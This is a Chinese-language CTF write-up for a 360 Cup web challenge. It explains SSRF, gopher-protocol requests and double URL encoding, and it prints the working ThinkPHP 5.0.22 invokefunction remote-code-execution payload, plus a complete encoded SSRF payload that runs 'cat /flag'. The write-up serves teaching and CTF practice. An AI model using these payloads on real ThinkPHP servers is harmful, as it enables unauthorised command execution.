360杯-Web实战-smity_ssrf中的gopher协议

  1. 1 目录
  2. 2 SSRF漏洞的产生
  3. 3 gopher协议
  4. 4 tp框架漏洞
  5. 5 二次编码
  6. 6 一道具体的tp框架题目
  7. 7 post包举例

1 目录

  1. SSRF漏洞的产生
  2. gopher协议
  3. tp框架漏洞
  4. 二次编码

2 SSRF漏洞的产生

SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是能够直接对目标网站的内部系统发起请求。(因为它是从内部网络系统访问的,所以可以通过她攻击外网无法访问的内部系统,也就是把目标网站当中间人)

SSRF(服务端请求伪造原理)

3 gopher协议

Gopher是Internet上一个很有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便用户获取。Gopher协议使得Internet上的所有Gopher客户程序能够与已注册的Gopher服务器对话。简单来说,在WWW出现之前,Gopher是Internet上最主要的信息检索工具。在这里我将其当作一个等价于访问网页的正常请求方式。在SSRF中,经常会使用Gopher来构造GET/POST包攻击应用,它的使用格式如下所示

1
gopher://URL

4 tp框架漏洞

这个漏洞是5.0.22版本的一个很著名的漏洞,对于一般的系统来说,没有补上的话,就会别攻击者构造get包进行rce,有关这个漏洞的详细介绍可以看下面的这篇文章

http://www.secflag.com/archives/505.html

构造的payload如下

1
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5 二次编码

详见下面我的这篇文章

为什么要进行URL编码

6 一道具体的tp框架题目

题目链接如下

1
http://180.153.183.49:7200/

1 进去后发现是一个tp框架

tp框架

2 一般情况下的tp框架的目录页放在public下,应用和文件放在application下

基本结构

application功能页面

public目录页

3 进去public页面后,我们发现出题人太过自信了吧,通过观察提示发现题目踪迹

提示1

robots.txt

4 发觉应该还有文件没找到,通过尝试发现了ssrf.php文件

ssrf.php

5 许多协议(ftp、ftps、http、https、file、dict等)都被过滤,通过尝试发现gopher协议未被过滤

http被过滤

gopher未被过滤

6 URL需要进行二次编码

1
http://ip?url=gopher://URL

上面的地址中http://ip?是本地向服务器端进行的请求(需要进行一次编码),而url=gopher://URL会在服务端请求URL中的值(需要进行二次编码)

一次编码

1
http://180.153.183.49:7200/1/public/ssrf.php?url=gopher://127.0.0.1:80/_GET 

二次编码(注意gopher协议中空格编码成+,即%2B,而在其他情况下空格常编码成%20)

1
/1/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

通过在线网站https://www.sojson.com/encodeurl.html进行一二次编码即可得到payload

一次编码

二次编码

二次编码的第一次编码

然后把第一次的结果进行第二次编码

二次编码的第二次编码

再将空格对应的%20改成+对应的编码后的格式%2B,即可得到payload

1
http://180.153.183.49:7200/1/public/ssrf.php?url=gopher://127.0.0.1:80/_GET%20%252F1%252Fpublic%252Findex.php%253Fs%253Dindex%252F%255Cthink%255Capp%252Finvokefunction%2526function%253Dcall_user_func_array%2526vars%255B0%255D%253Dsystem%2526vars%255B1%255D%255B%255D%253Dcat%2B%252Fflag

得到flag

7 post包举例

注意查看一二次解密过程中需要二次解密的部分

POST包一次解密

POST包二次解密


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达,可以邮件至 xingshuaikun@163.com。

×

喜欢就点赞,疼爱就打赏